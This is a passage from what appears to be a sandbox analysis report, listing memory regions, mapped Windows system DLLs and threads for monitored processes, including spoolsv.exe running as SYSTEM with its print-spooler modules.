(normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4465 start_va = 0x38522c0000 end_va = 0x385237ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000038522c0000" filename = "" Region: id = 4466 start_va = 0x38524c0000 end_va = 0x3852647fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000038524c0000" filename = "" Region: id = 4467 start_va = 0x3852650000 end_va = 0x38527d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000003852650000" filename = "" Region: id = 4468 start_va = 0x3852380000 end_va = 0x3852380fff entry_point = 0x0 region_type = private name = "private_0x0000003852380000" filename = "" Region: id = 4469 start_va = 0x3852390000 end_va = 0x3852390fff entry_point = 0x0 region_type = private name = "private_0x0000003852390000" filename = "" Region: id = 4479 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4480 start_va = 0x7ffd1c640000 end_va = 0x7ffd1c65dfff entry_point = 0x7ffd1c6411c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 4481 start_va = 0x7ffd1c220000 end_va = 0x7ffd1c254fff entry_point = 0x7ffd1c2213d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 4482 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c875b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 4483 start_va = 0x38527e0000 end_va = 0x3852ab4fff entry_point = 0x38527e0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4484 start_va = 0x3852ac0000 end_va = 0x3852bbffff entry_point = 0x0 region_type = private name = "private_0x0000003852ac0000" filename = "" Region: id = 4485 start_va = 0x7ff60bd2b000 end_va = 0x7ff60bd2cfff entry_point = 0x0 region_type = private name = "private_0x00007ff60bd2b000" filename = "" Region: id = 4486 start_va = 0x3852bc0000 end_va = 0x3852cbffff entry_point = 0x0 region_type = private name = "private_0x0000003852bc0000" filename = "" Region: id = 4487 start_va = 0x7ff60bd29000 end_va = 0x7ff60bd2afff entry_point = 0x0 region_type = private name = "private_0x00007ff60bd29000" filename = "" Region: id = 4491 start_va = 0x3852cc0000 end_va = 0x3852dbffff entry_point = 0x0 region_type = private name = "private_0x0000003852cc0000" filename = "" Region: id = 4492 start_va = 0x3852dc0000 end_va = 0x3852ebffff entry_point = 0x0 region_type = private name = "private_0x0000003852dc0000" filename = "" Region: id = 4493 start_va = 0x7ff60bd25000 end_va = 0x7ff60bd26fff entry_point = 0x0 region_type = private name = "private_0x00007ff60bd25000" filename = "" Region: id = 4494 start_va = 0x7ff60bd27000 end_va = 0x7ff60bd28fff entry_point = 0x0 region_type = private name = "private_0x00007ff60bd27000" filename = "" Region: id = 4496 start_va = 0x3852ec0000 end_va = 0x3852fbffff entry_point = 0x0 region_type = private name = "private_0x0000003852ec0000" filename = "" Region: id = 4497 start_va = 0x7ff60bd23000 end_va = 0x7ff60bd24fff entry_point = 0x0 region_type = private name = "private_0x00007ff60bd23000" filename = "" Region: id = 4498 start_va = 0x7ffd18d30000 end_va = 0x7ffd18d53fff entry_point = 0x7ffd18d310b0 region_type = mapped_file name = "idstore.dll" filename = "\\Windows\\System32\\IDStore.dll" (normalized: "c:\\windows\\system32\\idstore.dll") Region: id = 4499 start_va = 0x7ffd1c330000 end_va = 0x7ffd1c34efff entry_point = 0x7ffd1c3312f0 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 4500 start_va = 0x7ffd1cca0000 end_va = 0x7ffd1ccb3fff entry_point = 0x7ffd1cca3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Thread: id = 368 os_tid = 0x14c Thread: id = 374 os_tid = 0x190 Thread: id = 375 os_tid = 0x180 Thread: id = 376 os_tid = 0x17c Thread: id = 377 os_tid = 0x10c Thread: id = 379 os_tid = 0x210 Thread: id = 380 os_tid = 0x11c Process: id = "51" image_name = "spoolsv.exe" filename = "c:\\windows\\system32\\spoolsv.exe" page_root = "0x66f53000" os_pid = "0x3dc" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "39" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\System32\\spoolsv.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Spooler" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000de19" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 4636 start_va = 0x860000 end_va = 0x87ffff entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 4637 start_va = 0x880000 end_va = 0x88efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000880000" filename = "" Region: id = 4638 start_va = 0x890000 end_va = 0x8cffff entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 4639 start_va = 0x8d0000 end_va = 0x8d3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008d0000" filename = "" Region: id = 4640 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4641 start_va = 0x7ff668d20000 end_va = 0x7ff668d42fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff668d20000" filename = "" Region: id = 4642 start_va = 0x7ff668d4d000 end_va = 0x7ff668d4efff entry_point = 0x0 region_type = private name = "private_0x00007ff668d4d000" filename = "" Region: id = 4643 start_va = 0x7ff668d4f000 end_va = 0x7ff668d4ffff entry_point = 0x0 region_type = private name = "private_0x00007ff668d4f000" filename = "" Region: id = 4644 start_va = 0x7ff669b50000 end_va = 0x7ff669c15fff entry_point = 0x7ff669b50000 region_type = mapped_file name = "spoolsv.exe" filename = "\\Windows\\System32\\spoolsv.exe" (normalized: "c:\\windows\\system32\\spoolsv.exe") Region: id = 4645 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4648 start_va = 0x8e0000 end_va = 0x8e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008e0000" filename = "" Region: id = 4669 start_va = 0x8f0000 end_va = 0x8f1fff entry_point = 0x0 region_type = private name = "private_0x00000000008f0000" filename = "" Region: id = 4690 start_va = 0x930000 end_va = 0xa2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000930000" filename = "" Region: id = 4691 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4692 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4693 start_va = 0x860000 end_va = 0x86ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000860000" filename = "" Region: id = 4694 start_va = 0x7ff668c20000 end_va = 0x7ff668d1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff668c20000" filename = "" Region: id = 4695 start_va = 0xa30000 end_va = 0xaadfff entry_point = 0xa30000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4696 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4697 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4698 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4699 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4700 start_va = 0x7ffd1c390000 end_va = 0x7ffd1c432fff entry_point = 0x7ffd1c3a5be8 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 4701 start_va = 0x870000 end_va = 0x876fff entry_point = 0x0 region_type = private name = "private_0x0000000000870000" filename = "" Region: id = 4702 start_va = 0x7ffd1cc50000 end_va = 0x7ffd1cc94fff entry_point = 0x7ffd1cc51290 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 4703 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4704 start_va = 0x7ffd1f350000 end_va = 0x7ffd1f3a7fff entry_point = 0x7ffd1f35109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 4705 start_va = 0x7ffd1dd40000 end_va = 0x7ffd1dd48fff entry_point = 0x7ffd1dd41400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 4706 start_va = 0xab0000 end_va = 0xc37fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ab0000" filename = "" Region: id = 4707 start_va = 0xc40000 end_va = 0xdc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c40000" filename = "" Region: id = 4708 start_va = 0xdd0000 end_va = 0xe8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000dd0000" filename = "" Region: id = 4709 start_va = 0x900000 end_va = 0x902fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000900000" filename = "" Region: id = 4710 start_va = 0x910000 end_va = 0x910fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000910000" filename = "" Region: id = 4711 start_va = 0x920000 end_va = 0x920fff entry_point = 0x0 region_type = private name = "private_0x0000000000920000" filename = "" Region: id = 4712 start_va = 0xe90000 end_va = 0x1289fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e90000" filename = "" Region: id = 4713 start_va = 0x1290000 end_va = 0x1290fff entry_point = 0x0 region_type = private name = "private_0x0000000001290000" filename = "" Region: id = 4714 start_va = 0x12a0000 end_va = 0x12cffff entry_point = 0x0 region_type = private name = "private_0x00000000012a0000" filename = "" Region: id = 4715 start_va = 0x12a0000 end_va = 0x12a6fff entry_point = 0x0 region_type = private name = "private_0x00000000012a0000" filename = "" Region: id = 4716 start_va = 0x12c0000 end_va = 0x12cffff entry_point = 0x0 region_type = private name = "private_0x00000000012c0000" filename = "" Region: id = 4741 start_va = 0x12d0000 end_va = 0x130ffff entry_point = 0x0 region_type = private name = "private_0x00000000012d0000" filename = "" Region: id = 4742 start_va = 0x1310000 end_va = 0x134ffff entry_point = 0x0 region_type = private name = "private_0x0000000001310000" filename = "" Region: id = 4743 start_va = 0x7ff668d49000 end_va = 0x7ff668d4afff entry_point = 0x0 region_type = private name = "private_0x00007ff668d49000" filename = "" Region: id = 4744 start_va = 0x7ff668d4b000 end_va = 0x7ff668d4cfff entry_point = 0x0 region_type = private name = "private_0x00007ff668d4b000" filename = "" Region: id = 4762 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 4763 start_va = 0x1350000 end_va = 0x1409fff entry_point = 0x137c768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4764 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 4765 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4766 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 4767 start_va = 0x1350000 end_va = 0x141ffff entry_point = 0x0 region_type = private name = "private_0x0000000001350000" filename = "" Region: id = 4770 start_va = 0x7ffd1cae0000 end_va = 0x7ffd1cb0afff entry_point = 0x7ffd1cae1490 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 4771 start_va = 0x12b0000 end_va = 0x12b0fff entry_point = 0x0 region_type = private name = "private_0x00000000012b0000" filename = "" Region: id = 4772 start_va = 0x1350000 end_va = 0x1350fff entry_point = 0x0 region_type = private name = "private_0x0000000001350000" filename = "" Region: id = 4773 start_va = 0x1410000 end_va = 0x141ffff entry_point = 0x0 region_type = private name = "private_0x0000000001410000" filename = "" Region: id = 4774 start_va = 0x12b0000 end_va = 0x12b0fff entry_point = 0x0 region_type = private name = "private_0x00000000012b0000" filename = "" Region: id = 4775 start_va = 0x1350000 end_va = 0x138ffff entry_point = 0x0 region_type = private name = "private_0x0000000001350000" filename = "" Region: id = 4776 start_va = 0x7ff668d47000 end_va = 0x7ff668d48fff entry_point = 0x0 region_type = private name = "private_0x00007ff668d47000" filename = "" Region: id = 4777 start_va = 0x12b0000 end_va = 0x12b0fff entry_point = 0x0 region_type = private name = "private_0x00000000012b0000" filename = "" Region: id = 4778 start_va = 0x12b0000 end_va = 0x12b0fff entry_point = 0x0 region_type = private name = "private_0x00000000012b0000" filename = "" Region: id = 4779 start_va = 0x12b0000 end_va = 0x12b0fff entry_point = 0x0 region_type = private name = "private_0x00000000012b0000" filename = "" Region: id = 4780 start_va = 0x12b0000 end_va = 0x12b0fff entry_point = 0x0 region_type = private name = "private_0x00000000012b0000" filename = "" Region: id = 4781 start_va = 0x12b0000 end_va = 0x12b0fff entry_point = 0x0 region_type = private name = "private_0x00000000012b0000" filename = "" Region: id = 4782 start_va = 0x12b0000 end_va = 0x12b0fff entry_point = 0x0 region_type = private name = "private_0x00000000012b0000" filename = "" Region: id = 4783 start_va = 0x12b0000 end_va = 0x12b0fff entry_point = 0x0 region_type = private name = "private_0x00000000012b0000" filename = "" Region: id = 4784 start_va = 0x12b0000 end_va = 0x12b0fff entry_point = 0x0 region_type = private name = "private_0x00000000012b0000" filename = "" Region: id = 4785 start_va = 0x12b0000 end_va = 0x12b0fff entry_point = 0x0 region_type = private name = "private_0x00000000012b0000" filename = "" Region: id = 4786 start_va = 0x12b0000 end_va = 0x12b0fff entry_point = 0x0 region_type = private name = "private_0x00000000012b0000" filename = "" Region: id = 4814 start_va = 0x7ffd1c5e0000 end_va = 0x7ffd1c637fff entry_point = 0x7ffd1c5e1010 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 10743 start_va = 0x1390000 end_va = 0x13cffff entry_point = 0x0 region_type = private name = "private_0x0000000001390000" filename = "" Region: id = 10744 start_va = 0x1420000 end_va = 0x16f4fff entry_point = 0x1420000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 10745 start_va = 0x7ff668d45000 end_va = 0x7ff668d46fff entry_point = 0x0 region_type = private name = "private_0x00007ff668d45000" filename = "" Region: id = 10746 start_va = 0x7ffd18a60000 end_va = 0x7ffd18a88fff entry_point = 0x7ffd18a67968 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 10747 start_va = 0x7ffd18a50000 end_va = 0x7ffd18a59fff entry_point = 0x7ffd18a510c4 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 10748 start_va = 0x12d0000 end_va = 0x130ffff entry_point = 0x0 region_type = private name = "private_0x00000000012d0000" filename = "" Region: id = 10749 start_va = 0x7ff668d4b000 end_va = 0x7ff668d4cfff entry_point = 0x0 region_type = private name = "private_0x00007ff668d4b000" filename = "" Region: id = 10750 start_va = 0x7ffd13520000 end_va = 0x7ffd13528fff entry_point = 0x7ffd13521284 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 10751 start_va = 0x7ffd18220000 end_va = 0x7ffd18286fff entry_point = 0x7ffd18221c14 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 10752 start_va = 0x7ffd11a00000 end_va = 0x7ffd11b00fff entry_point = 0x7ffd11a00000 region_type = mapped_file name = "localspl.dll" filename = "\\Windows\\System32\\localspl.dll" (normalized: "c:\\windows\\system32\\localspl.dll") Region: id = 10753 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 10754 start_va = 0x7ffd1f2a0000 end_va = 0x7ffd1f344fff entry_point = 0x7ffd1f2a1010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 10755 start_va = 0x7ffd1d050000 end_va = 0x7ffd1d099fff entry_point = 0x7ffd1d051258 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 10756 start_va = 0x7ffd1c640000 end_va = 0x7ffd1c65dfff entry_point = 0x7ffd1c6411c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 10757 start_va = 0x7ffd12070000 end_va = 0x7ffd12081fff entry_point = 0x7ffd12070000 region_type = mapped_file name = "spoolss.dll" filename = "\\Windows\\System32\\spoolss.dll" (normalized: "c:\\windows\\system32\\spoolss.dll") Region: id = 10758 start_va = 0x7ffd1db40000 end_va = 0x7ffd1dd15fff entry_point = 0x7ffd1db410c0 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 10759 start_va = 0x7ffd15990000 end_va = 0x7ffd15a0afff entry_point = 0x7ffd159914f8 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv") Region: id = 10760 start_va = 0x1700000 end_va = 0x17fffff entry_point = 0x0 region_type = private name = "private_0x0000000001700000" filename = "" Region: id = 10761 start_va = 0x1800000 end_va = 0x18fffff entry_point = 0x0 region_type = private name = "private_0x0000000001800000" filename = "" Region: id = 10762 start_va = 0x7ffd12050000 end_va = 0x7ffd12061fff entry_point = 0x7ffd12050000 region_type = mapped_file name = "printisolationproxy.dll" filename = "\\Windows\\System32\\PrintIsolationProxy.dll" (normalized: "c:\\windows\\system32\\printisolationproxy.dll") Region: id = 10763 start_va = 0x7ffd12040000 end_va = 0x7ffd1204efff entry_point = 0x7ffd12040000 region_type = mapped_file name = "fxsmon.dll" filename = "\\Windows\\System32\\FXSMON.dll" (normalized: "c:\\windows\\system32\\fxsmon.dll") Region: id = 10764 start_va = 0x7ffd119c0000 end_va = 0x7ffd119f5fff entry_point = 0x7ffd119c0000 region_type = mapped_file name = "tcpmon.dll" filename = "\\Windows\\System32\\tcpmon.dll" (normalized: "c:\\windows\\system32\\tcpmon.dll") Region: id = 10765 start_va = 0x7ffd119b0000 end_va = 0x7ffd119bbfff entry_point = 0x7ffd119b0000 region_type = mapped_file name = "snmpapi.dll" filename = "\\Windows\\System32\\snmpapi.dll" (normalized: "c:\\windows\\system32\\snmpapi.dll") Region: id = 10766 start_va = 0x7ffd11990000 end_va = 0x7ffd119a2fff entry_point = 0x7ffd11990000 region_type = mapped_file name = "wsnmp32.dll" filename = "\\Windows\\System32\\wsnmp32.dll" (normalized: "c:\\windows\\system32\\wsnmp32.dll") Region: id = 10767 start_va = 0x7ffd11940000 end_va = 0x7ffd11988fff entry_point = 0x7ffd11940000 region_type = mapped_file name = "usbmon.dll" filename = "\\Windows\\System32\\usbmon.dll" (normalized: "c:\\windows\\system32\\usbmon.dll") Region: id = 10768 start_va = 0x7ffd1da80000 end_va = 0x7ffd1db36fff entry_point = 0x7ffd1da81120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 10769 start_va = 0x1900000 end_va = 0x1a76fff entry_point = 0x19010b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 10770 start_va = 0x7ffd1bb20000 end_va = 0x7ffd1bb45fff entry_point = 0x7ffd1bb2159c region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 10771 start_va = 0x7ffd1d000000 end_va = 0x7ffd1d04dfff entry_point = 0x7ffd1d001278 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 10772 start_va = 0x7ffd1ce20000 end_va = 0x7ffd1cff6fff entry_point = 0x7ffd1ce210a4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 10773 start_va = 0x7ffd1cd50000 end_va = 0x7ffd1cd61fff entry_point = 0x7ffd1cd510f4 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 10774 start_va = 0x7ffd118f0000 end_va = 0x7ffd1193bfff entry_point = 0x7ffd118f0000 region_type = mapped_file name = "wsdmon.dll" filename = "\\Windows\\System32\\WSDMon.dll" (normalized: "c:\\windows\\system32\\wsdmon.dll") Region: id = 10775 start_va = 0x7ffd116f0000 end_va = 0x7ffd1178afff entry_point = 0x7ffd116f0000 region_type = mapped_file name = "wsdapi.dll" filename = "\\Windows\\System32\\WSDApi.dll" (normalized: "c:\\windows\\system32\\wsdapi.dll") Region: id = 10776 start_va = 0x7ffd11580000 end_va = 0x7ffd116e3fff entry_point = 0x7ffd11580000 region_type = mapped_file name = "webservices.dll" filename = "\\Windows\\System32\\webservices.dll" (normalized: "c:\\windows\\system32\\webservices.dll") Region: id = 10777 start_va = 0x7ffd1bbd0000 end_va = 0x7ffd1bc85fff entry_point = 0x7ffd1bbe2c60 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 10778 start_va = 0x1350000 end_va = 0x1350fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001350000" filename = "" Region: id = 10779 start_va = 0x7ffd1d590000 end_va = 0x7ffd1d633fff entry_point = 0x7ffd1d591170 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 10780 start_va = 0x1360000 end_va = 0x1360fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001360000" filename = "" Region: id = 10781 start_va = 0x7ffd118c0000 end_va = 0x7ffd118e7fff entry_point = 0x7ffd118c0000 region_type = mapped_file name = "fundisc.dll" filename = "\\Windows\\System32\\fundisc.dll" (normalized: "c:\\windows\\system32\\fundisc.dll") Region: id = 10782 start_va = 0x13d0000 end_va = 0x140ffff entry_point = 0x0 region_type = private name = "private_0x00000000013d0000" filename = "" Region: id = 10783 start_va = 0x7ff668d47000 end_va = 0x7ff668d48fff entry_point = 0x0 region_type = private name = "private_0x00007ff668d47000" filename = "" Region: id = 10784 start_va = 0x7ffd197f0000 end_va = 0x7ffd19827fff entry_point = 0x7ffd197f1034 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 10785 start_va = 0x7ffd118a0000 end_va = 0x7ffd118b0fff entry_point = 0x7ffd118a0000 region_type = mapped_file name = "fdpnp.dll" filename = "\\Windows\\System32\\fdPnp.dll" (normalized: "c:\\windows\\system32\\fdpnp.dll") Region: id = 10786 start_va = 0x7ffd192c0000 end_va = 0x7ffd192dafff entry_point = 0x7ffd192c1498 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 10787 start_va = 0x1900000 end_va = 0x193ffff entry_point = 0x0 region_type = private name = "private_0x0000000001900000" filename = "" Region: id = 10788 start_va = 0x1940000 end_va = 0x197ffff entry_point = 0x0 region_type = private name = "private_0x0000000001940000" filename = "" Region: id = 10789 start_va = 0x7ff668c1e000 end_va = 0x7ff668c1ffff entry_point = 0x0 region_type = private name = "private_0x00007ff668c1e000" filename = "" Region: id = 10790 start_va = 0x7ff668d43000 end_va = 0x7ff668d44fff entry_point = 0x0 region_type = private name = "private_0x00007ff668d43000" filename = "" Region: id = 10791 start_va = 0x7ffd114c0000 end_va = 0x7ffd11578fff entry_point = 0x7ffd114c0000 region_type = mapped_file name = "drvstore.dll" filename = "\\Windows\\System32\\drvstore.dll" (normalized: "c:\\windows\\system32\\drvstore.dll") Region: id = 10792 start_va = 0x1370000 end_va = 0x1376fff entry_point = 0x0 region_type = private name = "private_0x0000000001370000" filename = "" Region: id = 10793 start_va = 0x7ffd11890000 end_va = 0x7ffd1189dfff entry_point = 0x7ffd11890000 region_type = mapped_file name = "winprint.dll" filename = "\\Windows\\System32\\spool\\prtprocs\\x64\\winprint.dll" (normalized: "c:\\windows\\system32\\spool\\prtprocs\\x64\\winprint.dll") Region: id = 10794 start_va = 0x7ffd1c330000 end_va = 0x7ffd1c34efff entry_point = 0x7ffd1c3312f0 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 10795 start_va = 0x7ffd1cca0000 end_va = 0x7ffd1ccb3fff entry_point = 0x7ffd1cca3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 10796 start_va = 0x7ffd1bea0000 end_va = 0x7ffd1bec2fff entry_point = 0x7ffd1bea10a0 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 10797 start_va = 0x1980000 end_va = 0x19bffff entry_point = 0x0 region_type = private name = "private_0x0000000001980000" filename = "" Region: id = 10798 start_va = 0x7ff668c1c000 end_va = 0x7ff668c1dfff entry_point = 0x0 region_type = private name = "private_0x00007ff668c1c000" filename = "" Region: id = 10799 start_va = 0x7ffd152f0000 end_va = 0x7ffd152f9fff entry_point = 0x7ffd152f10c0 region_type = mapped_file name = "version.dll" filename = 